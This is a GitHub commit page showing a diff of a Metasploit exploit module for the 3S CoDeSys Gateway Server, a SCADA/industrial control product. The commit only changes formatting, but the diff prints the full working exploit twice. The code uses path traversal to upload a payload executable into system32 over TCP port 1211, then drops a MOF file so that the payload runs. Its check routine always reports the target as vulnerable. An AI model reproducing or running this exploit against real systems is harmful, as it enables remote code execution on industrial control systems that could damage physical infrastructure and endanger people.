Skip to content

Commit aa5c946

Browse files
committed
Fixed more styling issues, EOL, tabs and headers
1 parent 437d6d6 commit aa5c946

File tree

1 file changed

+102
-99
lines changed

1 file changed

+102
-99
lines changed
Lines changed: 102 additions & 99 deletions
Original file line numberDiff line numberDiff line change
@@ -1,102 +1,105 @@
1-
#!/usr/bin/env ruby
2-
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com
6+
##
37
require 'msf/core'
48
class Metasploit3 < Msf::Exploit::Remote
5-
6-
Rank = ExcellentRanking
7-
include Msf::Exploit::EXE
8-
include Msf::Exploit::FileDropper
9-
include Msf::Exploit::Remote::Tcp
10-
include Msf::Exploit::WbemExec
11-
12-
def initialize(info = {})
13-
super(update_info(info,
14-
'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution',
15-
'Description' => %q{
16-
This module exploits arbitrary file creation to execute a mof file
17-
gaining remote execution within the SCADA system
18-
},
19-
'Author' =>
20-
[
21-
'Enrique Sanchez <[email protected]>'
22-
],
23-
'License' => 'MSF_LICENSE',
24-
'References' =>
25-
[
26-
['ICSA-13-050-01', '02-19-2013']
27-
],
28-
'Platform' => 'win',
29-
'Targets' =>
30-
[
31-
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
32-
],
33-
'DefaultTarget' => 0
34-
))
35-
36-
register_options(
37-
[
38-
Opt::RPORT(1211),
39-
], self.class
40-
)
41-
end
42-
43-
def check
44-
return Exploit::CheckCode::Vulnerable
45-
end
46-
47-
##
48-
# upload_file(remote_filepath, remote_filename, local_filedata)
49-
#
50-
# remote_filepath: Remote filepath where the file will be uploaded
51-
# remote_filename: Remote name of the file to be executed ie. boot.ini
52-
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
53-
54-
def upload_file(remote_filepath, remote_filename, local_filedata = null)
55-
magic_code = "\xdd\xdd"
56-
opcode = [6].pack('L')
57-
58-
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
59-
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
60-
print_debug("File to upload: #{file}")
61-
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
62-
print_debug(pkt_size)
63-
64-
# Magic_code + packing + size
65-
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
66-
67-
tmp_pkt = opcode << file
68-
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
69-
pkt << tmp_pkt
70-
71-
print_status("Starting upload of file #{remote_filename}")
72-
connect
73-
sock.put(pkt)
74-
disconnect
75-
76-
print_status("File uploaded")
77-
end
78-
79-
def exploit
80-
print_status("- Attempting to communicate with SCADA system #{rhost} on port #{rport}")
81-
82-
# We create an exe payload, we have to get remote execution in 2 steps
83-
exe = generate_payload_exe
84-
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
85-
upload_file("windows\\system32\\", exe_name, exe)
86-
87-
# We create the mof file and upload (second step)
88-
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
89-
mof = generate_mof(mof_name, exe_name)
90-
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
91-
92-
print_status("Everything is ready, waiting for a session ... ")
93-
handler
94-
95-
#Taken from the spooler exploit writen byt jduck and HDMoore
96-
cnt = 1
97-
while session_created? == false and cnt < 25
98-
::IO.select(nil, nil, nil, 0.25)
99-
cnt += 1
100-
end
101-
end
9+
10+
Rank = ExcellentRanking
11+
include Msf::Exploit::EXE
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::Remote::Tcp
14+
include Msf::Exploit::WbemExec
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution',
19+
'Description' => %q{
20+
This module exploits arbitrary file creation to execute a mof file
21+
gaining remote execution within the SCADA system
22+
},
23+
'Author' =>
24+
[
25+
'Enrique Sanchez <[email protected]>'
26+
],
27+
'License' => 'MSF_LICENSE',
28+
'References' =>
29+
[
30+
['ICSA-13-050-01', '02-19-2013']
31+
],
32+
'DisclosureDate' => 'Feb 02 2013',
33+
'Platform' => 'win',
34+
'Targets' =>
35+
[
36+
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
37+
],
38+
'DefaultTarget' => 0))
39+
40+
register_options(
41+
[
42+
Opt::RPORT(1211),
43+
], self.class)
44+
end
45+
46+
def check
47+
return Exploit::CheckCode::Vulnerable
48+
end
49+
50+
##
51+
# upload_file(remote_filepath, remote_filename, local_filedata)
52+
#
53+
# remote_filepath: Remote filepath where the file will be uploaded
54+
# remote_filename: Remote name of the file to be executed ie. boot.ini
55+
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
56+
57+
def upload_file(remote_filepath, remote_filename, local_filedata = null)
58+
magic_code = "\xdd\xdd"
59+
opcode = [6].pack('L')
60+
61+
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
62+
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
63+
print_debug("File to upload: #{file}")
64+
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
65+
print_debug(pkt_size)
66+
67+
# Magic_code + packing + size
68+
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
69+
70+
tmp_pkt = opcode << file
71+
tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
72+
pkt << tmp_pkt
73+
74+
print_status("Starting upload of file #{remote_filename}")
75+
connect
76+
sock.put(pkt)
77+
disconnect
78+
79+
print_status("File uploaded")
80+
end
81+
82+
def exploit
83+
print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
84+
85+
# We create an exe payload, we have to get remote execution in 2 steps
86+
exe = generate_payload_exe
87+
exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
88+
upload_file("windows\\system32\\", exe_name, exe)
89+
90+
# We create the mof file and upload (second step)
91+
mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
92+
mof = generate_mof(mof_name, exe_name)
93+
upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
94+
95+
print_status("Everything is ready, waiting for a session ... ")
96+
handler
97+
98+
#Taken from the spooler exploit writen byt jduck and HDMoore
99+
cnt = 1
100+
while session_created? == false and cnt < 25
101+
::IO.select(nil, nil, nil, 0.25)
102+
cnt += 1
103+
end
104+
end
102105
end

0 commit comments

Comments
 (0)